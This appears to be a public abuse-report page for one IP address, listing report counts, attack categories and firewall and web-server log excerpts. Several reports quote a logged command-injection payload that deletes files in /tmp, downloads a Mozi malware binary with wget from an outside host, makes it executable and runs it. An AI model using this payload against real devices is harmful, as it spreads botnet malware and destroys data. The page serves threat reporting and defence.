This IP address has been reported a total of
8
times from
8 distinct
sources.
112.109.205.48 was first reported on
, and the most recent report was
.
In the last 60 days, the top reporter locations were:
United States of America
with 4
reports;
Germany
with 3
reports;
India
with 1
report.
The most common categories in these recent reports were:
Port Scan
5
times;
Web App Attack
4
times;
Hacking
2
times.
Recent Reports
We have received reports of abusive activity from this IP address within the last week. It is
potentially still actively engaged in abusive activities.
Blocked by UFW (TCP on 37215)
Source port: 51795
TTL: 52
Packet length: 60
TOS: 0x00
This report (f ...
show moreBlocked by UFW (TCP on 37215)
Source port: 51795
TTL: 52
Packet length: 60
TOS: 0x00
This report (for 112.109.205.48) was generated by:
https://github.com/sefinek/UFW-AbuseIPDB-Reporter
show less
Blocked remote code execution attempt targeting embedded device CGI. Payload attempted to download a ...
show moreBlocked remote code execution attempt targeting embedded device CGI. Payload attempted to download and execute malware binaries using wget/BusyBox, chmod, and shell execution with cleanup. | indicator: shell metachar | source: body/query | method: GET | uri: /index.php?cd+/tmp;rm+-rf+*;wget+http://112.109.205.48:35136/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws | UTC 2026-09-30 16:52
show less
Web App Attack
Anonymous
2026-09-28T01:14:49.726526+00:00 gotosocial caddy[86195]: {"level":"info","ts":1790558089.7263823,"l ...
show more2026-09-28T01:14:49.726526+00:00 gotosocial caddy[86195]: {"level":"info","ts":1790558089.7263823,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"112.109.205.48","remote_port":"52391","client_ip":"112.109.205.48","proto":"HTTP/1.1","method":"GET","host":"142.132.177.172:80","uri":"/shell?cd+/tmp;rm+-rf+*;wget+http://112.109.205.48:35136/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws","headers":{"User-Agent":["Hello, world"],"Accept":["text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"],"Connection":["keep-alive"]}},"bytes_read":0,"user_id":"","duration":0.000110681,"size":0,"status":308,"resp_headers":{"Connection":["close"],"Location":["https://142.132.177.172/shell?cd+/tmp;rm+-rf+*;wget+http://112.109.205.48:35136/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws"],"Content-Type":[],"Server":["Caddy"]}}
...
show less
Hacking
Web App Attack
Anonymous
denied traffic to a honeypot network. destination port 80.
